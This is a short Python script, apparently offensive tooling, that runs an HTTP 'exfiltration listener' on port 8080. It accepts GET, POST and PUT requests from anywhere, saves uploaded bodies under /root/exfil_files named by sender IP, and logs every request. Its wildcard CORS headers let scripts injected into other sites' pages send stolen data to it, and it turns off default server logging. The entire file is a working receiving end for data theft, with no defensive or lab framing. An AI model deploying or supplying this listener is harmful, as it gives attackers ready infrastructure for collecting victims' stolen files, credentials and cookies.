#!/usr/bin/env python3
"""HTTP exfiltration listener — receives files via HTTP POST/PUT.
Also serves as catch-all for GET requests with data in URL."""
from http.server import HTTPServer, BaseHTTPRequestHandler
import datetime, os, sys

LOG_FILE = "/root/http_exfil.log"
RECEIVE_DIR = "/root/exfil_files"

os.makedirs(RECEIVE_DIR, exist_ok=True)

class ExfilHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass  # suppress default logging
    
    def handle_request(self):
        ts = datetime.datetime.now().isoformat()
        client_ip = self.client_address[0]
        path = self.path
        content_length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(content_length) if content_length > 0 else b''
        
        # Log
        line = f"{ts} | {client_ip} | {self.command} | {path} | size={content_length}"
        print(line)
        sys.stdout.flush()
        with open(LOG_FILE, "a") as f:
            f.write(line + "\n")
        
        # Save body to file if present
        if content_length > 0:
            filename = path.split("/")[-1] or "unnamed"
            filepath = os.path.join(RECEIVE_DIR, f"{client_ip}_{filename}")
            with open(filepath, "wb") as f:
                f.write(body)
            print(f"  -> saved to {filepath}")
            sys.stdout.flush()
        
        # Send response
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(b"OK")
    
    def do_GET(self): self.handle_request()
    def do_POST(self): self.handle_request()
    def do_PUT(self): self.handle_request()
    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, PUT, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "*")
        self.end_headers()

server = HTTPServer(('0.0.0.0', 8080), ExfilHandler)
print(f"[*] HTTP exfiltration listener on :8080")
print(f"[*] Logging to {LOG_FILE}")
print(f"[*] Files saved to {RECEIVE_DIR}")
sys.stdout.flush()
server.serve_forever()